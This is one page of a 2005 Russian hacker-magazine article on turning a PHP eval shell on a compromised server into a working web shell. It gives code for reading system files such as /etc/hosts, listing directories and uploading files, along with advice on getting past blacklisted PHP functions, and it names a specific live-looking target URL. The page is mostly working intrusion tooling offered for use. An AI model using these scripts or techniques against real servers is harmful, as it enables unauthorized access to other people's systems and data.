Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #81, СЕНТЯБРЬ 2005 г.

Поднимаем железный занавес

Александр Любимов aka Sashiks

Хакер, номер #081, стр. 081-054-3


1) Навигация по серверной файловой системе

2) Чтение файлов

3) Запись/загрузка файлов

Для начала, пожалуй, хватит. Поехали. Самым легким скриптом из нашей коллекции будет примитивная читалка файлов:

<?php

echo nl2br(htmlspecialchars(implode('', file('filename')));

?>

Здесь filename, как и следовало бы ожидать, - имя читаемого файла. Кстати, хочу сказать, что одни и те же задачи можно решать разными способами. Никто не мешает тебе открывать файл функциями include(), require(), file(), а читать из стандартного fopen()-хэндла при помощи fread(), fgets() или fgetc(). Таким образом, даже если одна из этих функций окажется в черном списке запрещенных вызовов, скорее всего, найдется работающий аналог. Так что если какая-то функция не работает, следует обратиться к документации и пройтись по всему списку see also.

Теперь, чтобы прочитать, например, файл /etc/hosts, топаем на www.fakin.farlep.net/path/to/eval_shell.php и вставляем в форму наш код, но без php-тэгов («<?» и «?>»), содержание файла должно успешно отобразиться. Попутно можно узнать операционку, которая крутится на сервере - для этого есть специальная функция php_uname. Ты все правильно понял, можно будет быстренько узнать , что там стоит *BSD и без раздумий отказать от попыток дальнейшего взлома :). Самое время позаботиться о возможности шариться по диску. Скрипт довольно примитивен:

[чтение каталогов]

<?php

$dire="/home";//каталог для чтения

$ob=opendir("$dire");//открываем каталог и получаем хэндл

while($filen=readdir($ob)){//читаем содержимое диры

$dire2=realpath("$dire");

if ( is_dir("$dire2/$filen") == TRUE ){$d="[Dir]";} else {$d= NULL;}

print "$d $filen <br><br> "; }//печатаем содержимое

closedir($ob);

?>

Только что мы создали замену /bin/ls, хотя и кривоватую. Сюда можно привинтить много других возможностей - например, показ последней даты обращения к файлу:

date("F d Y H:i:s.", filemtime("$dire/$filen"))

Скрипт также можно написать и по-другому, используя свойства класса dir. Считывание содержимого каталога происходит вот так: $entry = $dir->read(). А вот чтобы узнать является ли файл директорией, используется функция is_dir(). С помощью is_writable() проверяем, доступна ли папка на запись. В общем, исходник смотри на диске, либо тяни с моего сайта: http://unixforge.org/~sshx/x/dir.php.txt . Так, с этим разобрались. Теперь, чтобы заливать файл на сервер со своего компа, мы напишем web-форму (примерно как на Народе). Код сценария я не буду приводить здесь - ты без труда найдешь его на диске, или тут: http://unixforge.org/~sshx/x/upload.php.txt. Отмечу лишь, что его нужно загрузить как отдельный php-файл, а не исполнять в eval'e. Я уже говорил, что одну проблему можно решить разными путями, и в принципе, если ты хорошо знаешь php, то сможешь решить большинство задач на своем пути, поэтому знать хотя бы основы этого языка все же надо.

Назад на стр. 081-054-2  Содержание  Вперед на стр. 081-054-4